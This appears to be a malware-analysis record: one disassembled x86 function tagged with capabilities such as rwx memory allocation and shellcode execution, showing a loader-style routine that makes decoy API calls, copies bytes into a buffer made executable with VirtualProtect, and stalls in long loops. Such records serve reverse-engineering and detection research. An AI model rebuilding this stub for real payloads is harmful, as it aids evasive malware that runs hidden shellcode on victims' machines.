Function at 0x40346e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1024
call fcn.0040ce60
push ebx
push esi
xor esi, esi
cmp dword [0x61a120], 0x5b1
push edi
jne 0x403512
push esi
lea eax, [ebp - 0x820]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push 0x402ed8
push esi
call fcn.0040401f
push esi
push esi
push esi
push esi
call fcn.004042d6
push esi
call fcn.00403e07
add esp, 0x1c
push esi
push esi
call fcn.0040437a
push esi
push esi
call fcn.00403e12
call fcn.004037c2
push esi
call fcn.00403f44
add esp, 0x10
mov dword [esp], esi
call fcn.00403120
fstp st(0)
push esi
call fcn.00404988
add dword [0x61a120], 0x1134b
push dword [0x61a120]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0xc]
push ecx
push 0x40
push dword [0x61a120]
mov dword [0x619074], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x61a120]
xor ecx, ecx
cmp eax, esi
jbe 0x403567
mov edx, dword [0x61a124]
mov dl, byte [edx + ecx + 0x1134b]
mov edi, dword [0x619074]
mov byte [edi + ecx], dl
inc ecx
cmp ecx, eax
jb 0x40354c
xor ebx, ebx
lea ecx, [eax + ebx]
cmp ecx, 0xe
jne 0x4035c8
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
xor eax, eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [ebp - 0x820]
push eax
push 0x402ee0
lea eax, [ebp - 0x1c]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
call dword [sym.imp.KERNEL32.dll_GetACP]
push esi
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push 0x402f94
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov eax, dword [0x61a120]
inc ebx
cmp ebx, 0x39621
jl 0x403569
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
push esi
call edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp ebx, 0x206d47
jg 0x4035fb
inc ebx
cmp ebx, 0x4f6a4
jl 0x4035d9
mov ebx, 0x4e320c
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuA]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessagePos]
dec ebx
jne 0x403600
call fcn.004033b0
push esi
call edi
cmp ebx, 0x26
jne 0x40362c
call fcn.00403454
inc ebx
cmp ebx, 0x6753f
jl 0x40361f
push 0x7b
pop edi
cmp dword [0x61a120], 0x86
jne 0x40367f
push esi
lea eax, [ebp - 0x420]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
push esi
push esi
push 0x402fac
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
lea eax, [ebp - 0x1020]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
dec edi
jne 0x403638
call fcn.00403164
pop edi
pop esi
pop ebx
leave
ret